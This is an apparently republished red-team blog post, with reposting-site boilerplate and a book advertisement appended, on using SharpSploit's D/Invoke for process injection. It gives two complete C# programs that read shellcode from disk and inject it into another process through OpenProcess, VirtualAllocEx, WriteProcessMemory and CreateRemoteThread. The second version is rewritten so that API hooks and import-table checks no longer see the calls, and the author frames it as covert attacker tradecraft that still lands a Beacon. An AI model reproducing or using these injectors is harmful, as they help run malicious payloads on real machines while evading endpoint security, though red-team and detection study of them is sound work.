内容简介:Back in June, II obviously won’t reiterate everything written there, but here’s a quick recap:Platform Invoke (P/Invoke) allows you to access methods within unmanaged libraries from managed code. In other words for us attackers - load and use native DLLs f
Introduction
Back in June, I posted a short update on my shared blog regarding the SharpSploit v1.6 release. Within that post I mentioned Dynamic Invocation, which is a new feature introduced by TheWover and b33f . It wasn’t the focus of my post so I didn’t go into any details, but TheWover already published some information about what DInvoke is and how to use it.
I obviously won’t reiterate everything written there, but here’s a quick recap:
Platform Invoke (P/Invoke) allows you to access methods within unmanaged libraries from managed code. In other words for us attackers - load and use native DLLs from .NET assemblies. Those that have used or written offensive tooling in C# (particularly for process injection) have seen this numerous times.
[DllImport("kernel32.dll")] static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId);
First we define a DllImport
attribute, providing the DLL that contains the method we want. Then provide the “signature” of that method, which defines what parameters it expects to take in and what it should return. These need to be “translated” from the native documentation , e.g. instead of a HANDLE
in C, we use an Intptr
in C#. Thereafter, we can just call this method from with our C#: IntPtr hProcess = OpenProcess(0x001F0FFF, false, int.Parse(args[1]));
(where 0x001F0FFF
equates to PROCESS_ALL_ACCESS
).
The .NET runtime actually uses P/Invoke by design and namespaces like System.Diagnostics
rely on OpenProcess
under the hood. For instance, IntPtr hProcess = Process.GetProcessById(x)
also gives us handle to the process, but the API calls have harded parameters such as PROCESS_QUERY_INFORMATION
. So although we have a handle, it may not be of sufficient privilege and other API calls may not be exposed via the framework at all. This is why manually P/Invoking is necessary to access these APIs directly.
However, as TheWover explains, there are two disadvantages to using P/Invoke in this way:
- Any reference to a Windows API call made through P/Invoke will result in a corresponding entry in the .NET assembly’s Import Table.
- Any endpoint security product running on the target machine that is monitoring API calls (such as via API Hooking), will see/block/alert on any API calls made via P/Invoke.
The aim of D/Invoke is to provide an alternate means of accessing these native Windows APIs without leaving these particular indicators behind (that’s not to say D/Invoke doesn’t have indicators of its own).
The OpenProcess/VirtualAllocEx/WriteProcessMemory/CreateRemoteThread is the easiest and simplest process injection technique that I know, and served as a test case for “translating” from P/Invoke to D/Invoke. I also re-implemented b33f’s UrbanBishop project, but that would make for a much more complicated blog post :)
Create Remote Thread [P/Invoke]
A typical example of this technique could look like this:
using System; using System.IO; using System.Runtime.InteropServices; namespace InjectionTest { class Program { static void Main(string[] args) { var shellcode = File.ReadAllBytes(args[0]); var hProcess = OpenProcess(0x001F0FFF, false, int.Parse(args[1])); var alloc = VirtualAllocEx(hProcess, IntPtr.Zero, (uint)shellcode.Length, 0x1000 | 0x2000, 0x40); WriteProcessMemory(hProcess, alloc, shellcode, (uint)shellcode.Length, out UIntPtr bytesWritten); CreateRemoteThread(hProcess, IntPtr.Zero, 0, alloc, IntPtr.Zero, 0, IntPtr.Zero); } [DllImport("kernel32.dll")] static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId); [DllImport("kernel32.dll")] static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); [DllImport("kernel32.dll", SetLastError = true)] static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out UIntPtr lpNumberOfBytesWritten); [DllImport("kernel32.dll")] static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId); } }
If we use API Monitor as our would-be EDR, set hooks on these API calls and execute InjectionTest.exe, we can see how it picks up the details of our calls.
API Monitor restores execution flow, but an EDR would obviously not be that considerate. Some EDRs may outright block access to these APIs, or at least will be able to inspect the calls (and even see the shellcode) before making some sort of decision for blocking. So let’s replace P/Invoke for D/Invoke - the process is not as hard as you expect.
The first step is to add SharpSploit as a reference for the Visual Studio Project. Then we need to replace the DllImport
attributes with UnmanagedFunctionPointer
declerations, and change static extern
for delegate
. The heart of D/Invoke works by “manually” mapping a DLL into the current process and getting a pointer to the desired method. Some delegate magic is then used to wrap that within something we can execute.
OpenProcess
for example, would become:
[UnmanagedFunctionPointer(CallingConvention.StdCall)] delegate IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId);
The rest of the method signature remains the same.
Get a pointer to OpenProcess
with: var pointer = Generic.GetLibraryAddress("kernel32.dll", "OpenProcess");
.
Next, use GetDelegateForFunctionPointer
to map this pointer to the delegate we made: var openProcess = Marshal.GetDelegateForFunctionPointer(pointer, typeof(OpenProcess)) as OpenProcess;
.
And finally var hProcess = openProcess(0x001F0FFF, false, int.Parse(args[1]));
.
Create Remote Thread [D/Invoke]
The complete code:
using System; using System.IO; using System.Runtime.InteropServices; using SharpSploit.Execution.DynamicInvoke; namespace InjectionTest { class Program { static void Main(string[] args) { var shellcode = File.ReadAllBytes(args[0]); var pointer = Generic.GetLibraryAddress("kernel32.dll", "OpenProcess"); var openProcess = Marshal.GetDelegateForFunctionPointer(pointer, typeof(OpenProcess)) as OpenProcess; var hProcess = openProcess(0x001F0FFF, false, int.Parse(args[1])); pointer = Generic.GetLibraryAddress("kernel32.dll", "VirtualAllocEx"); var virtualAllocEx = Marshal.GetDelegateForFunctionPointer(pointer, typeof(VirtualAllocEx)) as VirtualAllocEx; var alloc = virtualAllocEx(hProcess, IntPtr.Zero, (uint)shellcode.Length, 0x1000 | 0x2000, 0x40); pointer = Generic.GetLibraryAddress("kernel32.dll", "WriteProcessMemory"); var writeProcessMemory = Marshal.GetDelegateForFunctionPointer(pointer, typeof(WriteProcessMemory)) as WriteProcessMemory; writeProcessMemory(hProcess, alloc, shellcode, (uint)shellcode.Length, out UIntPtr bytesWritten); pointer = Generic.GetLibraryAddress("kernel32.dll", "CreateRemoteThread"); var createRemoteThread = Marshal.GetDelegateForFunctionPointer(pointer, typeof(CreateRemoteThread)) as CreateRemoteThread; createRemoteThread(hProcess, IntPtr.Zero, 0, alloc, IntPtr.Zero, 0, IntPtr.Zero); } [UnmanagedFunctionPointer(CallingConvention.StdCall)] delegate IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId); [UnmanagedFunctionPointer(CallingConvention.StdCall)] public delegate IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); [UnmanagedFunctionPointer(CallingConvention.StdCall)] public delegate bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out UIntPtr lpNumberOfBytesWritten); [UnmanagedFunctionPointer(CallingConvention.StdCall)] public delegate IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId); } }
As we can see - with the same hooks in place, API Monitor no longer sees our API calls and we still get our Beacon.
Conclusion
Just like P/Invoke, D/Invoke allows us to import and use native APIs but in a way that avoids entries in the import table and some userland API hooking. Without a significant amount of development work, we can port existing P/Invoke to D/Invoke to breath new life into old code. In addition to GetLibraryAddress
, the D/Invoke API provides other means for mapping DLLs either from disk or memory. I look forward to exploring the various ways D/Invoke can improve covert tradecraft.
I hope this short primer will encourage those who find the idea of D/Invoke a bit daunting to give it a go.
Shoutout to both TheWover and b33f for their hard work in this area.
以上所述就是小编给大家介绍的《Process Injection using DInvoke》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!
猜你喜欢:本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
Kafka技术内幕
郑奇煌 / 人民邮电出版社 / 2017-11 / 119.00元
Kafka自LinkedIn开源以来就以高性能、高吞吐量、分布式的特性著称,本书以0.10版本的源码为基础,深入分析了Kafka的设计与实现,包括生产者和消费者的消息处理流程,新旧消费者不同的设计方式,存储层的实现,协调者和控制器如何确保Kafka集群的分布式和容错特性,两种同步集群工具MirrorMaker和uReplicator,流处理的两种API以及Kafka的一些高级特性等。一起来看看 《Kafka技术内幕》 这本书的介绍吧!